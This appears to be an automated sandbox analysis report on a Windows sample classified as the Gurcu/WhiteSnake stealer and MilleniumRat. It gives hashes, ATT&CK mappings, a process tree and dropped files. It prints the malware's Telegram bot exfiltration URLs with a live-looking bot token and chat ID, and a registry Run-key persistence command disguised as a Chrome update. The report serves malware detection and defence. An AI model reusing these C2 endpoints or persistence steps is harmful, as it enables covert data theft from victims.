gurcu | 0c374469d4e9f2f0036e48f61c821e23416e41111792fa35e215886f3c0d5c46

General

Target

scanjector.exe
Size

17.4MB
MD5

00a089806c6d881d0716d38ca3f26f1f
SHA1

14e6f87e781dfef16566cc0c85e7a1c2ce578bad
SHA256

0c374469d4e9f2f0036e48f61c821e23416e41111792fa35e215886f3c0d5c46
SHA512

5440ee4137d2415657dce424b98a15b44d07bf7784ec2fb07a7328bfe2a5a76a4d8cada61f9669ee4477e69d2e5ef752cd147c84f9523868c6690d82c9c3192d
SSDEEP

393216:f/hnALfhy7zZYOY3iWkvdCsJjQ2SHjNKED9UQr:3pAjhyHZ+33o820rUQr

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot8121099632:AAEGRQywapM__xBl2iPOZXa0Zc5KRb_4SgU/sendDocument?chat_id=-4770872927&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot8121099632:AAEGRQywapM__xBl2iPOZXa0Zc5KRb_4SgU/sendMessage?chat_id=-4770872927

https://api.telegram.org/bot8121099632:AAEGRQywapM__xBl2iPOZXa0Zc5KRb_4SgU/getUpdates?offset=-

https://api.telegram.org/bot8121099632:AAEGRQywapM__xBl2iPOZXa0Zc5KRb_4SgU/sendDocument?chat_id=-4770872927&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	scanjector.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	system32.dll.exe

Executes dropped EXE 3 IoCs

pid	Process
4420	system32.dll.exe
4788	main.exe
4424	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
4420	system32.dll.exe
4424	Update.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
18	raw.githubusercontent.com
19	raw.githubusercontent.com
24	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4716	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2912	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2100	reg.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4420	system32.dll.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe
4424	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4420	system32.dll.exe
Token: SeDebugPrivilege	4716	tasklist.exe
Token: SeDebugPrivilege	4424	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4424	Update.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 4420	4816	scanjector.exe	83
PID 4816 wrote to memory of 4420	4816	scanjector.exe	83
PID 4816 wrote to memory of 4788	4816	scanjector.exe	84
PID 4816 wrote to memory of 4788	4816	scanjector.exe	84
PID 4420 wrote to memory of 2136	4420	system32.dll.exe	86
PID 4420 wrote to memory of 2136	4420	system32.dll.exe	86
PID 2136 wrote to memory of 5112	2136	cmd.exe	88
PID 2136 wrote to memory of 5112	2136	cmd.exe	88
PID 2136 wrote to memory of 4716	2136	cmd.exe	89
PID 2136 wrote to memory of 4716	2136	cmd.exe	89
PID 2136 wrote to memory of 1132	2136	cmd.exe	90
PID 2136 wrote to memory of 1132	2136	cmd.exe	90
PID 2136 wrote to memory of 2912	2136	cmd.exe	92
PID 2136 wrote to memory of 2912	2136	cmd.exe	92
PID 2136 wrote to memory of 4424	2136	cmd.exe	93
PID 2136 wrote to memory of 4424	2136	cmd.exe	93
PID 4424 wrote to memory of 3448	4424	Update.exe	98
PID 4424 wrote to memory of 3448	4424	Update.exe	98
PID 3448 wrote to memory of 2100	3448	cmd.exe	100
PID 3448 wrote to memory of 2100	3448	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\scanjector.exe
"C:\Users\Admin\AppData\Local\Temp\scanjector.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Users\Admin\AppData\Roaming\system32.dll.exe
  "C:\Users\Admin\AppData\Roaming\system32.dll.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpB6DC.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpB6DC.tmp.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2136
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:5112
  - - C:\Windows\system32\tasklist.exe
      Tasklist /fi "PID eq 4420"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4716
  - - C:\Windows\system32\find.exe
      find ":"
      4⤵
      PID:1132
  - - C:\Windows\system32\timeout.exe
      Timeout /T 1 /Nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2912
  - - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
      "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4424
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3448
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2100
- C:\Users\Admin\AppData\Roaming\main.exe
  "C:\Users\Admin\AppData\Roaming\main.exe"
  2⤵
  - Executes dropped EXE
  PID:4788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Process Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB6DC.tmp.bat

Filesize
286B

MD5
e1d8879ce0f0778b15baf6a3fb3e43f6

SHA1
3ee56ba2674d38bb54c537c4855649bf1ed33adf

SHA256
1025bc9a099e638001eccd885db321a428debaaeb495fccc7d92c3b5a90a1002

SHA512
8b89d2f230f14685f96b412d4085a8c00f214fb490ceb7fcbacbeaf5410e921a11186295302a376d602b4730e3330ed02a6e034a1b56b0b692ab51cdc9cec96c

Download Submit
C:\Users\Admin\AppData\Roaming\main.exe

Filesize
11.8MB

MD5
b9f6832045d1ebb340a01e97900bf7ed

SHA1
7b0b6aa8fd7cc55048443f4499da14b4fbeed466

SHA256
49b140137989de837736c23b3b095063c8fa30fd22bfe12b4282326ca431cd12

SHA512
31acdb392db706d8d188c1aba5452783a7482109024afd6dcf23e2eba00872b0ed9d86e128a5393a479e89cc657f4b9bf6bbbda76e6b360b426be58b8f53a912

Download Submit
C:\Users\Admin\AppData\Roaming\system32.dll.exe

Filesize
5.7MB

MD5
587df5dee51ff841ea947719352dc993

SHA1
16595bb74e53f842f53677ef12d37e170b06a807

SHA256
b8cec521e0f51803ed248b7e8ee6415339c34e92499265dd32aab678cb5e51c4

SHA512
6c0ee1cd89c211daa6e4a2bf80c1e746c2879f93ab88891935a332af0763c373aed5e38ae511a190758765e5e146081d80bac10655b7bffe9d7231d0b6d959f1

Download Submit
memory/4420-31-0x000002CDCD260000-0x000002CDCD26A000-memory.dmp

Filesize
40KB

Download
memory/4420-35-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download
memory/4420-24-0x000002CDE7340000-0x000002CDE73B6000-memory.dmp

Filesize
472KB

Download
memory/4420-13-0x000002CDCC860000-0x000002CDCCE10000-memory.dmp

Filesize
5.7MB

Download
memory/4420-28-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download
memory/4420-30-0x000002CDCEB30000-0x000002CDCEB4E000-memory.dmp

Filesize
120KB

Download
memory/4420-14-0x00007FFDD3500000-0x00007FFDD3FC1000-memory.dmp

Filesize
10.8MB

Download
memory/4424-42-0x000001F845C00000-0x000001F845C6A000-memory.dmp

Filesize
424KB

Download
memory/4424-44-0x000001F845C70000-0x000001F845D22000-memory.dmp

Filesize
712KB

Download
memory/4424-45-0x000001F845D70000-0x000001F845DC0000-memory.dmp

Filesize
320KB

Download
memory/4424-46-0x000001F845DC0000-0x000001F845DE2000-memory.dmp

Filesize
136KB

Download
memory/4424-48-0x000001F8469D0000-0x000001F846A0A000-memory.dmp

Filesize
232KB

Download
memory/4424-49-0x000001F845D20000-0x000001F845D46000-memory.dmp

Filesize
152KB

Download
memory/4424-50-0x000001F846A10000-0x000001F846D3E000-memory.dmp

Filesize
3.2MB

Download
memory/4424-69-0x000001F846F40000-0x000001F846F52000-memory.dmp

Filesize
72KB

Download
memory/4816-1-0x0000000000DF0000-0x0000000001F66000-memory.dmp

Filesize
17.5MB

Download
memory/4816-0-0x00007FFDD3503000-0x00007FFDD3505000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads